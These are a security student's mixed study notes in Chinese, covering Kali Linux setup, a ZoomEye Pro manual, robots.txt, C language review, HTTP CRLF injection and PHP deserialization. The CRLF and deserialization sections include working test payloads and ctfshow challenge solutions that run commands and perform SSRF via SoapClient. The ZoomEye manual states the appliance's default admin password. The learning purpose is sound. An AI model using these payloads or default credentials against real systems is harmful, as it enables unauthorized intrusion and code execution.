kali python 版本切换/网卡/物理机虚拟机传输文件

kali python 版本切换

update-alternatives –install /usr/bin/python python /usr/bin/python2 100

update-alternatives –install /usr/bin/python python /usr/bin/python3 150

然后查看版本
python –version

切换版本
update-alternatives –config python  版本号


kali不显示网卡

服务开启后进入vim /etc/network/interfaces
编辑,添加
auto eth0
iface eth0 inet dhcp

然后通过命令/etc/init.d/networking restart 重启网卡恢复正常


使用xshell连接虚拟机

在虚拟机输入命令rz,随意选择一个文件,点击打开即可从物理机选择文件传输到虚拟机

在虚拟机使用命令sz 文件名 ,可以把文件传给物理机

kali 换源

1.看系统时间
date

2.更新系统时间
tzselect

echo “ZONE=Asia/Shanghai” >> /etc/sysconfig
rm -f /etc/localtime # 链接到上海时区文件
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

3.重启

4.更新源
vim /etc/apt/sources.list

清华大学的源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

5.更新key

wget archive.kali.org/archive-key.asc //下载签名

apt-key add archive-key.asc //安装签名

6.更新
apt-get update

MVC设计模式

浏览器-》controller-》Model-》Database;

Database-》Model-》Controller-》View-》浏览器

也就是Model、View、Controller各司其职

ZoomEye Pro 学习手册

适用于zoomeye pro v3.2.0.0

该产品具有:资产运行情况;端口开放情况;资产指纹信息的探测;1DAY漏洞检测,是“网络空间资产安全管理系统”。
其中,该系统最重要的功能为:资产探测功能;1DAY漏洞扫描功能


基本步骤:
1.自己的设备和系统管理口接一条网线;
2.更改自己电脑的适配器选项,修改ip地址,默认修改为169.254.1.2,子网掩码为255.255.255.0,如果有内部DNS的话就配上;
3.浏览器输入:https://169.254.1.1
4.用户名默认:admin;密码为admin!@#666;
5.在系统设置处,更改网络配置,使用客户提供的高权限ip地址,子网掩码,dns等信息填写;
6.将客户的核心交换机和系统工作口接一条网线;
7.浏览器输入,第5步骤填写的ip,登录管理界面。

当客户要求补充资产的时候,应该如下操作:
1.单个资产导入;在操作区的“添加”按钮,选择“单个添加”手动“”
2.批量资产导入:操作区的“添加”按钮,选择“批量添加(报表)”使用系统的模板进行添加。

当需要导出报表,应该如下操作:
1.操作区找到“导出”按钮;
2.选择“导出资产报告”;
3.选择“导出报表”;

robots协议(robots.txt)

以下是从别的文章复制过来的介绍:

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
————————————————

功能

Robots协议用来告知搜索引擎哪些页面能被抓取,哪些页面不能被抓取;可以屏蔽一些网站中比较大的文件,如:图片,音乐,视频等,节省服务器带宽;可以屏蔽站点的一些死链接。方便搜索引擎抓取网站内容;设置网站地图连接,方便引导蜘蛛爬取页面。

我想会不会有人在网站根目录下写木马,写在robot文件里蒙混过关?

文件写法

User-agent: * 这里的代表的所有的搜索引擎种类,是一个通配符

Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录

Disallow: /require/ 这里定义是禁止爬寻require目录下面的目录

Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录

Disallow: /cgi-bin/*.htm 禁止访问/cgi-bin/目录下的所有以”.htm”为后缀的URL(包含子目录)。

Disallow: /? 禁止访问网站中所有包含问号 (?) 的网址

Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片

Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。

Allow: /cgi-bin/ 这里定义是允许爬寻cgi-bin目录下面的目录

Allow: /tmp 这里定义是允许爬寻tmp的整个目录

Allow: .htm$ 仅允许访问以”.htm”为后缀的URL。

Allow: .gif$ 允许抓取网页和gif格式图片

Sitemap: 网站地图 告诉爬虫这个页面是网站地图
————————————————
sitemap:

Sitemap(即站点地图)就是您网站上各网页的列表。创建并提交Sitemap有助于百度发现并了解您网站上的所有网页。您还可以使用Sitemap提供有关您网站的其他信息,如上次更新日期、Sitemap文件的更新频率等,供百度Spider参考。

百度对已提交的数据,不保证一定会抓取及索引所有网址。但是,我们会使用Sitemap中的数据来了解网站的结构等信息,这样可以帮助我们改进抓取策略,并在日后能更好地对网站进行抓取。
————————————————

HTTP-crlf注入(没卵用)

crlf是分隔符。

HTTP中状态行和首部每一行以crlf(回车/换行)结束,而首部和主体会空隔一行,也就是两个crlf。

crlf注入漏洞产生的原因是,与sql注入类似,没有严格过滤输入的数据,攻击者可以构造恶意payload到请求行或者首部的字段中,其中带有恶意的crlf,之后带回的数据会在http响应头中输出。
在网上,crlf注入攻击又称为HTTP响应拆分漏洞(HTTP Response Splitting)。

CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。
在http报文中,%0d%0a出现,将修改后的请求包提交给服务器端,查看服务器端的响应。发现响应首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞。
CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

%c4%8d%c4%8a就是换行回车的意思,类似于%0d%0a,是URL编码
这个漏洞也就是说攻击者可以控制http响应头,也就是攻击者可以使用自己设置的cookie来绕过验证。

在http请求头部如GET %0a%0d Set-Cookiexxxxx ,如果存在漏洞,响应头会出现Set-Cookie;
如果在http请求头 插入 %0a%0d%0a%0d 也就是两个换行符,相当于让浏览器识别为头部和主体,如果漏洞存在,可以插入XSS的payload。;
浏览器为了防止xss,加入了一个策略,当url中含有xss特征就会过滤掉,这个过滤器用户无法关闭,但是通过crlf漏洞就可以实现关闭过滤器,数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候,浏览器才不会开启 filter。所以可以 %0a X-XSS-Protection:0 (未url编码)

最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处

防御

1、安装waf
2、对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、’、”、CR、LF等,限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头。 创建安全字符白名单,只接受白名单中的字符出现在HTTP响应头文件中。在将数据传送到http响应头之前,删除所有的换行符。

——9.22补充—–

下面用于手工测试该漏洞的payload

1.%0aSet-cookie:JSPSESSID%3Ddrops

2.url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/

CRLFuzz:https://github.com/dwisiswant0/crlfuzz/releases //该工具用于检测CRLF漏洞


反序列化-PHP(php、python、java)

反序列化应该是目前比较流行的漏洞。跟经典的漏洞相比,它出现的次数越来越多,带来的影响也越来越大。我记得以前某次面试面试官曾问我关于反序列化的问题,我没有回答上来,在我所学的知识里其实很多次听到反序列化这个词。
在学习java的时候我是注意到序列化这个知识点的。我以前的理解就是我们编写的程序代码要进行传输,就要序列化,把代码变成机器能够传输拼凑的样子,然后接收方再通过反序列化还原程序的代码。反序列化在没具体了解之前我认为类似于改包,目的是破坏软件的完整性。
现在我开始具体了解这个令人棘手的问题。

序列化:把对象变成数组或者字符串
反序列化:把数组或者字符串转成对象

补充:反序列化利用大概分类三类

-魔术方法的调用逻辑-如触发条件

-语言原生类的调用逻辑-如SoapClient

-语言自身的安全缺陷-如CVE-2016-7124

一、PHP中的序列化和反序列化

首先了解一下php语言中两个相关的函数:
①serialize() //将一个对象转换成一个字符串

②unserialize() //将字符串还原成一个对象

序列化是数据的某种格式,其目的就是为了在传输的过程中保证完整性以及效率。下面借助迪总的课程图片来加深理解:

序列化

如上图表示的序列化后的信息,我认为序列化就像协议,告诉接收方如何转换我们传输过去的内容信息。

在php中有很多魔术方法,用来辅助我们实现很多功能。在学习安全的过程中我们经常使用phpinfo()来查看php的一些配置信息。比如当php版本低于5的时候,可能会产生一些跟不安全的配置相关的漏洞。
反序列化漏洞产生的原因之一,是魔术方法的不正确使用。魔术方法就好比java学习里面的构造函数,如果魔术方法开启,当代码执行了特定的功能就会触发魔术方法,也就是说很有可能在程序员意料之外执行了某个危险的魔术方法。
其中最危险的是:反序列化的过程中,使用的变量可以被控制,也就是可以被修改(赋值)。在迪总演示反序列化的第一个例子看出,尽管代码层写好固定的命令你个执行语句,但是如果攻击者在url上修改对应的长度和值,可以实现别的命令你个的执行。从这里就能看出危害。

不过反序列化漏洞一般只能通过白盒测试发现,黑盒不太可能能被测出来。
下面给出一些php常见的魔术方法:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__toString(): //把类当作字符串使用时触发

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

下面借助的迪总的笔记,再附上自己学习后的体会理解

254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

Code:

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

本题白盒审计源代码,发现验证部分有php的反序列化函数。检查代码逻辑需要通过修改身份信息为高级用户,思路就是思考如何修改。代码中提示,验证除了账号密码还要验证cookie,而本题cookie中就带有身份信息,因此我们先修改身份,然后将结构体对象使用序列化函数序列化,之后为了防止空格导致的错误,使用url编码。于是通过抓包,使用bp改包,把修改的部分加到数据包中同时在GET行加上username还有password

256-反序列化参数修改2

CODE:

public $username=’x’;

public $password=’y’;

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

这题先是判断账号密码是否一样,在判断账号密码跟设定的一不一样。同样的接受cookie的数据,按照逻辑修改然后发包。

257-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

private $class;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

private $code=’system(“cat f*”);’;

}

$b=new ctfShowUser();

echo serialize($b);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

public $class = ‘backDoor’;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code=”system(‘cat flag.php’);”;

}

$a=serialize(new ctfShowUser());

$b=str_replace(‘:11′,’:+11′,$a);

$c=str_replace(‘:8′,’:+8′,$b); //这两步为了使用替换函数绕过被限制的部分

echo urlencode($c);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll (默认是不开启的,如果要使用需要手动开启) //这个原生类可以访问网站(仅限于http或者https协议)

<?php

$target = ‘http://127.0.0.1/flag.php’;

$post_string = ‘token=ctfshow’;

$b = new SoapClient(null,array(‘location’ => $target,’user_agent’=>’wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded’.’^^Content-Length: ‘.(string)strlen($post_string).’^^^^’.$post_string,’uri’=> “ssrf”));

$a = serialize($b);

$a = str_replace(‘^^’,”\r\n”,$a);

echo urlencode($a);

?>

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

260-字符串序列化

ctfshow=ctfshow_i_love_36D

c语言复习的笔记

c语言作为我大学学习的第一门编程语言,影响深刻。但之前开设课程时正处于排课最多的阶段,我没能深入了解好很多技术细节。想起复习一下c语言的原因,这段时间我想阅读unix源码,unix便是由c语言编写而成的,日后我在学习、工作上会经常接触linux,这是其一;我的专业是信息安全,会碰到很多关于缓冲区的漏洞,学习c语言I/O与缓冲区的关系能够加深我对于漏洞产生原理的理解,并且作为面向程序的编程语言,c语言能够灵活使用指针,我希望我能对底层的知识有更多的理解。
大一学习c语言使用的是谭浩强的红皮书,这次复习我购买了C primer plus一书,这篇文行仅是我对于阅读完全书之后的思考感悟,我挑出感兴趣的,新学会的知识来记录。

一、第八章:字符输入输出和输入验证

1.缓冲区
老的系统没有缓冲区,当我们输入字符后会立即打印,很多时候会重复打印,这是无缓冲(buffer)输入;而目前的系统,我们按下回车之前不会重复打印刚输入的字符,这是缓冲输入。
缓冲分为:完全缓冲I/O、行缓冲I/O
·完全缓冲I/O:当缓冲区满后把其中内容输出,常见大小512字节和4096字节
·行缓冲I/O:出现换行符比如回车的时候,输出内容

阅读书中我看到了这么一句话“ANSI C和后续的C标准规定是缓冲的”,刷B站视频我记得win7以及之前记事本默认编码为ANSI,win10为UTF-8。还有说道缓冲区,我想到了C语言令人担心的一点,如果程序员不对变量初始化赋值,或者修改某个变量大小后没初始化,很有可能给程埋下暗雷–即未初始化会使用内存中的脏数据。

之前学习C语言没有了解好文件、流和键盘输入的关系,现在好好学习。首先,我们了解一些概念:
·直接调用操作系统的函数称为:底层I/O(low-level I/O)
·C通过标准I/O包(standard I/Opackage)来处理文件

流:
C处理的是流(stream)而不是直接处理文件。流,是一个实际输入或输出映射的数据流。让不同属性不同种类的输入由属性更加统一的流来表示。
对于C,处理键盘输入输出是以处理文件的方式进行的

文件结尾:
以前没接触这个字典,计算机操作系统要判断文件的开始和结束,可以放置一些标志,比如内嵌的CTRL+Z字符用来标记文件结尾。在文件中长这样:“^z
如今不一定使用内嵌的ctrl+Z,可能用存储文件大小的方式,但是如果用了ctrl+Z,那操作系统就会认为是一个文件结尾的标记。引起我思考,有没有某种攻击方式能用上这个特性,比如某种截断攻击。任意文件上传,即用截断方式绕过文件检查程序,类似这样的思路展开,也许会有收获。

书中说,不管操作系统以何种方式检查文件结尾,如果使用getchar()函数检测到结尾会返回
EOF(end of file),同样的scanf()检测到文件结尾也会返回EOF。他们的定义会在stdio.h文件中,当我们 #include<stdio.h> 会有对EOF的定义: #define EOF (-1) //因为一般getchar()返回0~255,不会出现-1

因此,我们可以对比getchar()的返回值与EOF的关系,不相同就是没有到达文件结尾,如:
while((ch=getchar())!=EOF) //表示还没有结束时,在Java里是:
import java.util.Scanner;
<T> num=input.next<T>();

重定向和文件
标准输入输出stdin、stdout流。C程序使用标准I/O包查找标准输入作为输入源。程序可以通过两种方式使用文件:
①用函数打开文件、关闭文件、读取文件、写入文件;
②与键盘和屏幕互动的程序,通过不同的渠道重定向输入至文件和从文件输出。
不同系统(使用c开发的UNIX、LINUX\DOS)中重定向,都可以让程序使用文件而不是键盘来输入,重定向输出让程序输出到文件而不是屏幕。
·unix命令行模式
·linux(ditto)
·windows命令提示符
重定向符号:“<” 用法:./echo.exe <words //将words中的字符重定向输入到echo.exe中,直到文件结尾。
标准提示符:“$” 是unix和linux的标准提示符;“A>”或“C>”是windows和DOS中的。
重定向输出:“>” 用法:./echo.exe >mywords //创建了myword用于把echo.exe中的字符重定向输出到mywords,如果原本存在mywords,会覆盖原始数据。
组合重定向:使用“<”、“>”例如,创建mywords的副本temp:./echo.exe <mywords >temp

重定向运算符连接一个可执行程序和一个数据文件,不能用于连接两个数据文件;不能读取多个文件输入也不能输出至多个文件
追加之末尾的连接运算符“>>”:表示把数据追加到现有文件的末尾;
管道“|”:表示前者的结果为后者的输入;

在8.5.1使用缓冲输入这个内容里,我注意到:
while(getchar() != ‘\n’)
continue; //因为当输入y或者n 之后我们会输入回车来换行,但是这也意味着会输入一个‘\n’,程序会进行多的判断,利用这条代码会再识别y之后终止本次循环,也就是说跳过本次输入字符串中y后面的部分,包括那个’\n‘

混合数值和字符输入:
注意到getchar()会读取每一个字符,包括空格,制表符等,但是scanf()读取数字时会跳过制表符、空格和换行!
在书中例子提醒我们,使用getchar()和scanf()混用,在输入数字后我们按回车换行,尽管scanf()没有处理它,但是这个换行符仍然在输入队列,当下一次循环whlie检查到这个换行符,就会跳出循环。在本条例子中我注意到使用了break语句,用来检测scanf()的执行情况,查询scanf()的返回值,如下图:

如果是int ch=scanf(“%d %d %d”,&a,&b,&c); 输入 1 1 s ,那么会ch会是2,因为只有前两个被正确接收。

二、第九章:函数

尾递归:相当于循环,是最简单的递归。那么当循环和递归都能解决问题的时候,应该优先选择循环,因为每次递归都会创建一组变量,因此递归使用的内存会很多,执行速度会慢。

查找地址:&运算符
假设一个变量名为sigma,那么&sigma是这个变量的地址。

指针:pointer,是c语言最重要的概念,用来存储变量的地址

间接运算符:*
假设一个指针名或者地址名为sigma,那么*sigma表示存储在指针指向地址上的值。
通常声明指针时用空格,如:int * pi; //这是一个指向int变量的指针叫做pi

三、第十章:数组

·sizeof运算符给出它的运算对象的大小(以字节为单位)

指定初始化器(c99):
这是以前没听过的用法。现在复习我最大的感悟就是初始化的重要性,如果不初始化用的是脏数据,如果初始化了,其他会被设置成0.可以使用“int array[6]={[5]=233}”来对下标为5的元素初始化其他元素会被初始化为0.注意到,如果出现“{1,2,3,[1]=1}”,那么会把下表为1的元素的值改成1覆盖掉原来的2.

数组边界问题:
以前学习数据结构、操作系统的时候,有时粗心没有考虑好边界。跑数据的时候就出现越界的问题,在生产中这是十分严重的。c语言相信程序员,我们如果担心自己写错导致越界,应该把size写死然后再在循环中引用,比如:#define size 4;……;for(int i=0;i<size;i++){…}

指针和数组的关系:
数组表示法其实是变相使用指针,举个例子,假设一个数组叫做sigma,包含的元素为{1,2,3,4}那么数组名sigma是数组中第一个变量sigma[0]也就是1的地址。相当于:
sigma==&sigma[0];
指针+1:表示指针的值递增它所指向类型的大小(以字节为单位),换成人话就是:*sigma指向1,则
*(sigma+1)指向2,*(sigma+2)指向3
.注意*运算符优先级比+要高,sigma[2]可以表示为*(sigma+2)

函数、数组、指针的关系:
学习c语言一定要理清楚指针的概念。如果我们想用函数处理数组比如total=sum(sigma)注意到数组sigma是首元素的地址,我们要传给一个指针形式的参数!比如int sum(* pointer); //定义函数时的形参为指针
书中提示我们要注意:只有在函数原型或者函数定义头中,才能使用int sigma[]代替*sigma

书中使用两个指针指明数组开始与结束的时候,#define size 10;引用函数的时候使用如下代码:
answer=sum(sigma,sigma+size) //按道理说sigma+size将会是指向sigma[10]而sigma最后一个元素是sigma[9],指针越界了。书本给出的解释是:C保证给数组分配空间时,指向数组最后面元素后的下一个位置的指针仍然是有效的指针。也就是说*(sigma+10)也是有效的。。。。

为了记住*与++的优先级关系,举出下面例子:
total +=*start++ //*和++的优先级相同,但是结合律是从右往左看,也就是*(start++)

指针着实是一个十分敏感的东西,用的好速度极快,用不好极容易造成大问题。书本提醒:千万不要解引用未初始化的指针!
int * sigma;
*sigma=5; //出大问题,尽管是将5赋值给sigma,但是会造成擦除原来存储的数据!

因为创建一个指针的时候,系统只分配了存储指针本身的内存,并没有分配存储数据的内存!我们可以用已分配的地址初始化它,比如说用现有的某个变量的地址初始化它!或者使用malloc()函数先分配内存
看到这里,解开了我这些年关于为什么要使用malloc()的疑问!

在b站看到一个up主的视频,我一下子又更理解了一点。当我们int a=3;计算机会给变量开辟一个空间,假设为0xa0,也就是在这个地址里存着一个数值3,当我们int * pi;也会给指针开辟空间&pi为0xb0,;那么当我们 *pi=&a;相当于是0xb0这个地址上存者0xa0这个地址。

对于数据的保护:
对形式参数使用const。如果函数的意图不是修改数组中的数据内容,就在函数原型和函数定义中声明形式参数时使用const,比如:int sum(const int ar[],int n);

之前上课的时候,讲到指向指针的指针很多多同学表示不理解,我开始也不太明白。假设有一个二维数组:sigma[3][2]={{4,2},{2,3},{6,5}} //sigma[2][1]=5 相当于*(*(sigma+2)+1)=5

四、第十一章:字符串以及字符串函数

书中强调对数据初始化的重要性。
关于字符串数组和初始化:
·如果一个字符串的末尾没有空字符”\0“那么他就不是字符串而是字符数组。所以我们要确保在指定数组大小的时候,数组元素的个数至少比字符串长度多1(为了容纳空字符),没被使用的元素会被初始化为”\0“

在数组和指针区别时,注意到:
char * word=”sigma”;
word[o]=”h”;
printf(“sigma”); 会把所有simga实例都修改,这会造成严重后果。于是在把指针初始化为字符串的时候,应该使用const限定符:
const char * word=“sigma”;
如果打算修改字符串,就不要用指针指向字符串字面量

讲到字符串数组时,对比char * sigma[lim]=和char higms[lim][size],higma数组的数据是被存储了两次的,并且higma每行长度固定,sigma则是不规则的不固定的,使用起来sigma比higma高效得多。如果要用数组表示一些列待显示的字符串,应该使用指针数组

在字符串的输出:我们注意要把一个字符串读入程序,就要给该字符串留出空间,再输入该字符串。
char * name;
scanf(“%s,name”); //这是不对的,name没有初始化很容易擦除别的数据,可以写成name[81]

读取时,scanf()和转换说明%s只允许读取一个单词,gets()可以读取整行输入直到遇到换行符。但是注意到,gets()函数只能接受一个参数,他不能检查还能否装得下输入行也就是说函数只知道数组的开始,不知道数组的长度(有多少个数据)。很容易造成缓冲区溢出
既然gets()有些危险,人们使用fgets()来替代它。下面是fgets()和fputs():
·fgets():有三个参数,第二个参数限制读入字符最大数量,如果该参数为n,那么函数会读入n-1个字符,或者遇到换行符,而与gets()不同,fgets()读到换行符的时候会保存在字符串中
·fgets()的第三个参数,要指明要读入的文件。如果是要从键盘输入,入参就要写:stdin
·一般fgets()与fputs()组合使用,fputs()有两个参数,第二个参数指明要写入的文件,如果在屏幕输出,第二个参数要写:stdout
·fputs()在输出字符串之后不会添加换行符

fgets()存储换行符:
·坏处:你并不想存储这些换行符
·好处:对于存储的字符串而言,检查末尾是否有换行符可以判断是否读取了一整行。

空指针和空字符:
空字符时\0是一个字符,占一个字节
空指针是地址,占4个字节

gets_s():这个函数以前没接触过,书上说该函数只接受标准输入,所以比起fgets()函数不需要第三个参数,但是gets_s会丢弃换行符。

字符串函数:
字符串函数的原型在string.h头文件中,常见有:strlen(),strcat(),strcmp(),strncmp(),strcpy(),strncopy()
而在stdio.h中有sprintf()函数